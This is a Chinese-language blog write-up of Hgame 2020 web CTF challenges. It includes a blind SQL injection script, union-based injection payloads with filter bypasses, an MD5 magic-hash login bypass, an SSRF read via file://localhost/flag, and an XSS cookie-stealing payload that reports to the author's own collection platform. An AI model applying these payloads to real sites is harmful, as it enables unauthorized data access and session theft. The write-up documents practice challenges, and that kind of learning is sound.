Hgame2020——WEB
文章首发于:Pdsdt’s Blog武汉加油 祖国加油在家这段时间本来是要做ELK的,队里说hgame开始了,就做了几道hgame的web,题目很有意思,在此记录一下WEEK-10x01 Cosmos 的博客访问站点,告诉我们站点使用了GitHub,猜测存在git泄露,查看config页面访问该github地址,查看历史的commits发现加密的字符串,使用base64解密,...
文章首发于:Pdsdt’s Blog
武汉加油 祖国加油
在家这段时间本来是要做ELK的,队里说hgame开始了,就做了几道hgame的web,题目很有意思,在此记录一下
WEEK-1
0x01 Cosmos 的博客
访问站点,告诉我们站点使用了GitHub,猜测存在git泄露,查看config页面
访问该github地址,查看历史的commits
发现加密的字符串,使用base64解密,即可获得flag
0x02 街头霸王
访问页面
看题目应该是修改请求头的问题,首先修改一下Referer头
再次提示我们需要来自本地,这里可以使用XFF头进行伪造
再次提示我们需要使用指定的浏览器…修改一下UA头
提示需要使用POST传参,使用hackbar修改一下传参方式
提示我们需要到2077年才能显示flag,伪造一下时间使用If-Unmodified-Since伪造
0x03 Code World
访问页面
发现直接跳转页面,查看源码提示我们是302跳转,尝试修改一下传参方式再次访问
提示我们需要通过url传参,就是让我们get传参了,而且需要两个数相加和为十
直接传输提示再想想,猜测应该是url编码的问题,我们使用url编码一下再次传输
成功获取flag
0x04 🐔尼泰玫
访问页面,是一个很有意思的小游戏
看下面的提示告诉我们,只要分数够高,flag随便拿,尝试玩一下,瞬间GG,同时给我们提示30000分以上可以获得flag
抓个包看看判断规则
看到score参数,修改一下值
成功获取到flag
WEEK-2
0x01 Cosmos的博客后台
题目提示我们博客没有用到数据库,应该是把密码和账号写在代码中了,访问页面,探测漏洞点
测试一下是否存在php伪协议漏洞
成功读取出login.php的代码
<?php
include "config.php";
session_start();
//Only for debug
if (DEBUG_MODE){
if(isset($_GET['debug'])) {
$debug = $_GET['debug'];
if (!preg_match("/^[a-zA-Z_\x7f-\xff][a-zA-Z0-9_\x7f-\xff]*$/", $debug)) {
die("args error!");
}
eval("var_dump($$debug);");
}
}
if(isset($_SESSION['username'])) {
header("Location: admin.php");
exit();
}
else {
if (isset($_POST['username']) && isset($_POST['password'])) {
if ($admin_password == md5($_POST['password']) && $_POST['username'] === $admin_username){
$_SESSION['username'] = $_POST['username'];
header("Location: admin.php");
exit();
}
else {
echo "用户名或密码错误";
}
}
}
?>
<!DOCTYPE html>
<html lang="zh-CN">
<head>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1">
<meta name="description" content="">
<meta name="author" content="">
<title>Cosmos的博客后台</title>
<link href="static/signin.css" rel="stylesheet">
<link href="static/sticky-footer.css" rel="stylesheet">
<link href="https://cdn.bootcss.com/bootstrap/3.3.7/css/bootstrap.min.css" rel="stylesheet">
</head>
<body>
<div class="container">
<form class="form-signin" method="post" action="login.php">
<h2 class="form-signin-heading">后台登陆</h2>
<input type="text" name="username" class="form-control" placeholder="用户名" required autofocus>
<input type="password" name="password" class="form-control" placeholder="密码" required>
<input class="btn btn-lg btn-primary btn-block" type="submit" value="Submit">
</form>
</div>
<footer class="footer">
<center>
<div class="container">
<p class="text-muted">Created by Annevi</p>
</div>
</center>
</footer>
</body>
</html>
根据读出的login源码,我们发现还有config.php和admin.php,再次读取一下config.php的源码,提示我们无法读取,读取一下admin.php源码
<?php
include "config.php";
session_start();
if(!isset($_SESSION['username'])) {
header('Location: index.php');
exit();
}
function insert_img() {
if (isset($_POST['img_url'])) {
$img_url = @$_POST['img_url'];
$url_array = parse_url($img_url);
if (@$url_array['host'] !== "localhost" && $url_array['host'] !== "timgsa.baidu.com") {
return false;
}
$c = curl_init();
curl_setopt($c, CURLOPT_URL, $img_url);
curl_setopt($c, CURLOPT_RETURNTRANSFER, 1);
$res = curl_exec($c);
curl_close($c);
$avatar = base64_encode($res);
if(filter_var($img_url, FILTER_VALIDATE_URL)) {
return $avatar;
}
}
else {
return base64_encode(file_get_contents("static/logo.png"));
}
}
?>
<html>
<head>
<title>Cosmos'Blog - 后台管理</title>
</head>
<body>
<a href="logout.php">退出登陆</a>
<div style="text-align: center;">
<h1>Welcome <?php echo $_SESSION['username'];?> </h1>
</div>
<form action="" method="post">
<fieldset style="width: 30%;height: 20%;float:left">
<legend>插入图片</legend>
<p><label>图片url: <input type="text" name="img_url" placeholder=""></label></p>
<p><button type="submit" name="submit">插入</button></p>
</fieldset>
</form>
<fieldset style="width: 30%;height: 20%;float:left">
<legend>评论管理</legend>
<h2>待开发..</h2>
</fieldset>
<fieldset style="width: 30%;height: 20%;">
<legend>文章列表</legend>
<h2>待开发..</h2>
</fieldset>
<fieldset style="height: 50%">
<div style="text-align: center;">
<img height='200' width='500' src='data:image/jpeg;base64,<?php echo insert_img() ? insert_img() : base64_encode(file_get_contents("static/error.jpg")); ?>'>
</div>
</fieldset>
</body>
</html>
经过尝试,config etc flag这些都被过滤,无法读取,先对获取到的源码进行分析;
首先分析一下login.php,我们可以看到用户名和密码都是固定的,我们可以使用debug参数来获取我们需要的值,获取用户名和密码:
username=Cosmos!
md5(password)=0e114902927253523756713132279690
可以看到密码是0e开头的,我们可以使用md5碰撞的方式获取密码,登陆的用户名和密码为:
username=Cosmos!
password=s878926199a
进入后台,我们可以上传图片的url
跟一下代码,对我们上传的url进行了匹配,只允许上传指定域名的url,使用的函数为curl_exec(),我们可以使用file://协议去构造CSRF漏洞,直接读取flag
payload:file://localhost/flag
解密base64即可获取到flag
Cosmos的新语言
进入页面,很明显的sql注入,fuzz一下注入点
发现select和空格被过滤了,两种方法解决,可以使用盲注的方式进行,脚本:
mport requests
#url="http://139.199.182.61/index.php?id=0' or (ascii(mid((database()),{},1)) = {}) and '1'='1"
#url="http://139.199.182.61/index.php?id=0' or (ascii(mid((seselectlect(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),{},1)) = {}) and '1'='1"
#url="http://139.199.182.61/index.php?id=0' or (ascii(mid((seselectlect(group_concat(column_name))from(information_schema.columns)where(table_schema=database())and(table_name=0x66316167676767676767676767676767)),{},1)) = {}) and '1'='1"
url="http://139.199.182.61/index.php?id=0' or (ascii(mid((seselectlect(fl4444444g)from(f1aggggggggggggg)),{},1)) = {}) and '1'='1"
for i in range(1,40):
for j in range(28,128):
re=requests.get(url.format(i,j))
if 'cosmos' in re.text:
print(chr(j))
#hgame{w0w_sql_InjeCti0n_Is_S0_IntereSting!!}
也可以使用/**/代替空格,select我们可以直接双写进行绕过,查询数据库
'%2F**%2Funion%2F**%2Fselselectect%2F**%2Fdatabase()%3B%23
查询数据库中表名
'%2F**%2Funion%2F**%2Fselselectect%2F**%2Fgroup_concat(table_name)%2F**%2Ffrom%2F**%2Finformation_schema.tables%2F**%2Fwhere%2F**%2Ftable_schema%3D'easysql'%23
查询数据表中字段名
'%2F**%2Funion%2F**%2Fselselectect%2F**%2Fgroup_concat(column_name)%2F**%2Ffrom%2F**%2Finformation_schema.columns%2F**%2Fwhere%2F**%2Ftable_schema%3D'easysql'%23
查询表中数据
'%2F**%2Funion%2F**%2Fselselectect%2F**%2Ffl4444444g%2F**%2Ffrom%2F**%2Ff1aggggggggggggg%23
成功获取到题目flag
Cosmos的新语言
本题是复现,当初做的时候没有明白考点,后来是看的官方wp做的
题目直接给了源码:
<?php
highlight_file(__FILE__);
$code = file_get_contents('mycode');
eval($code);
访问一下mycode
function encrypt($str){
$result = '';
for($i = 0; $i < strlen($str); $i++){
$result .= chr(ord($str[$i]) + 1);
}
return $result;
}
echo(strrev(strrev(base64_encode(encrypt(base64_encode(str_rot13(base64_encode(base64_encode(base64_encode(base64_encode($_SERVER['token'])))))))))));
if(@$_POST['token'] === $_SERVER['token']){
echo($_SERVER['flag']);
}
主要看判断条件,当我们的token与server端的token相同时,我们就会得到flag
而且题目会把服务端的token进行一段加密后输出出来,而且服务端的token在几秒中便会刷新一次(官方说是5秒),分析完毕,开始解题,大致思路就是,首先我们需要获取到加密的token,解密后直接发送到服务端,这里贴上官方脚本
<?php
function decrypt($str){
$result = '';
for($i = 0; $i < strlen($str); $i++){
$result .= chr(ord($str[$i]) - 1);
}
return $result;
}
$url = 'http://challenge.url.here/';
// 这边直接暴⼒分割截取了 XD
$token = file_get_contents($url);
$token = explode("\n", $token);
$token = substr($token[4], 0, -4);
$token = html_entity_decode($token);
$op_function = file_get_contents($url . '/mycode');
$op_function = explode("\n", $op_function)[8];
$op_function = explode('(', $op_function);
$op_function = array_slice($op_function, 1, 10);
foreach($op_function as $value){
switch($value){
case 'base64_encode':
$token = base64_decode($token);
break;
case 'strrev':
$token = strrev($token);
break;
case 'str_rot13':
$token = str_rot13($token);
break;
case 'encrypt':
$token = decrypt($token);
break;
}
}
$options['http'] = array(
'method' => 'POST',
'header' => 'Content-Type: application/x-www-form-urlencoded',
'content' => http_build_query(array('token' => $token))
);
$result = file_get_contents($url, false, stream_context_create($options));
echo($result);
在本地php环境运行即可获取到flag
这里也可以使用python脚本
import requests
import base64,re
url = 'http://80067ab0bd.php.hgame.n3ko.co'
token = 'oHCahuL0LUeXH7pR0PdaBb6POrNk0wVv'
#rot 13的解密
def rot13(message):
res = ''
for item in message:
if (item >= 'A' and item <= 'M') or (item >= 'a' and item <= 'm'):
res += chr(ord(item) + 13)
elif (item >= 'N' and item <= 'Z') or (item >= 'n' and item <= 'z'):
res += chr(ord(item) - 13)
else:
res += item
return res
#解密encrypt
def encrypt(token):
str = ''
for t in token:
t = chr(ord(t) - 1)
str +=t
return str
#base64的组块base.decode
#截取获取出来的密码
response=requests.get(url)
code= re.findall(r"(.+?)<br>", response.text[625:])[0]
print(code)
response_mycode =requests.get(url+'/mycode')
method = re.findall(r"(.*?);",response_mycode.text[164:])[0] #这里可以得到截取的字符串
print(method)
method2 = method.split('(')[:-1]
print(method2)
for i in method2:
if i == 'str_rot13':
print('rot13:')
code=rot13(code)
print(code)
elif i == 'base64_encode':
print('b64:')
code=base64.b64decode(code)
code=bytes.decode(code)
print(code)
elif i == 'encrypt':
print('encrypt:')
code=encrypt(code)
print(code)
elif i == 'strrev':
print('strrev:')
code=code[::-1]
print(code)
token={'token':code}
r=requests.post(url,data=token)
print(r.text)
Cosmos的聊天室
访问页面,访问一下flag的页面,提示我们只有admin用户才能获得flag,我们能利用的地方就是输入对话了,梳理一下流程,尝试xss,获取admin用户的cookie,从而达到伪造管理员用户的目的
因为后端过滤了所有的标签,这点可以利用浏览器兼容性进行绕过,不闭合最后的标签,加注释即可,由于后端对我们输入的所有语言都转大写,我们可以使用HTML实体化编码绕过最后的payload:
<img src=x onerror=s=cr&#....... //
编码中包含自己的xss平台地址即可
最后提交的code,万年老脚本:
import hashlib
for i in range(1, 100000001):
#s = hashlib.md5(str(i)).hexdigest()[0:8]
#s = hashlib.md5(str(i)).hexdigest()[:6]
s = hashlib.md5(str(i)).hexdigest()[0:6]
if s == "af6b97":
print(i)
break
然后在平台等待获取cookie即可
更多推荐
所有评论(0)